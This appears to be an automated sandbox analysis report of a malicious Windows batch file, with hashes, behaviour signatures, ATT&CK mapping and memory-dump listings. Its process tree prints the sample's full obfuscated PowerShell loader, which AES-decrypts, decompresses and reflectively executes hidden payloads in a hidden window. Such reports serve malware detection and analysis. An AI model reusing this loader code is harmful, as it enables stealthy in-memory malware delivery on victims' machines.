5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1

General

Target

5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1.bat
Size

1.6MB
MD5

28b65da7604be7bf55d110b2d521e819
SHA1

81c6e84481c6e930b56744c952fd6ad51d1d0510
SHA256

5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1
SHA512

b7cf5171c7c03952408185784617b18560113aa12495cae6feb6a1624253ab26f590f549adcb86f01b03216991eb329281362bacc0735207f17d374b6ebfc986
SSDEEP

24576:R7gWtTN1E+XtPIVRbYswK391U9NxwoQvn7hHBhVFbU3fY2m+7BdMtgYGURazVXm6:R8GoJVlXhwmQYRataE

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2792 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2792 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2792 powershell.exe

pid	process
2792	powershell.exe

pid	process
2792	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2792	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2880 wrote to memory of 2856	2880	cmd.exe	cmd.exe
PID 2880 wrote to memory of 2856	2880	cmd.exe	cmd.exe
PID 2880 wrote to memory of 2856	2880	cmd.exe	cmd.exe
PID 2880 wrote to memory of 2792	2880	cmd.exe	powershell.exe
PID 2880 wrote to memory of 2792	2880	cmd.exe	powershell.exe
PID 2880 wrote to memory of 2792	2880	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;cls;cls;cls;cls;cls;cls;cls;cls;cls;cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('PzSH18pJ0ENyFSM/USldXJhwnqnJUUe00JoxlVJW0c0='); $aes_var.IV=[System.Convert]::FromBase64String('9Tu4NVBBLcJYA/vSvSTOtw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$RwOEe=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$gtrMl=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$vevrb=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($RwOEe, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $vevrb.CopyTo($gtrMl); $vevrb.Dispose(); $RwOEe.Dispose(); $gtrMl.Dispose(); $gtrMl.ToArray();}function execute_function($param_var,$param2_var){ IEX '$qIMhL=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$WefkQ=$qIMhL.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$WefkQ.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$UgEHe = 'C:\Users\Admin\AppData\Local\Temp\5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1.bat';$host.UI.RawUI.WindowTitle = $UgEHe;$KMhqS=[System.IO.File]::ReadAllText($UgEHe).Split([Environment]::NewLine);foreach ($xITWx in $KMhqS) { if ($xITWx.StartsWith('CJcwMcQcauxKDynFigtW')) { $JAGyo=$xITWx.Substring(20); break; }}$payloads_var=[string[]]$JAGyo.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2792-4-0x000007FEF53BE000-0x000007FEF53BF000-memory.dmp

Filesize
4KB

Download
memory/2792-6-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-5-0x000000001B360000-0x000000001B642000-memory.dmp

Filesize
2.9MB

Download
memory/2792-9-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-8-0x0000000002010000-0x0000000002018000-memory.dmp

Filesize
32KB

Download
memory/2792-10-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-7-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-11-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-12-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-13-0x000007FEF53BE000-0x000007FEF53BF000-memory.dmp

Filesize
4KB

Download

Analysis

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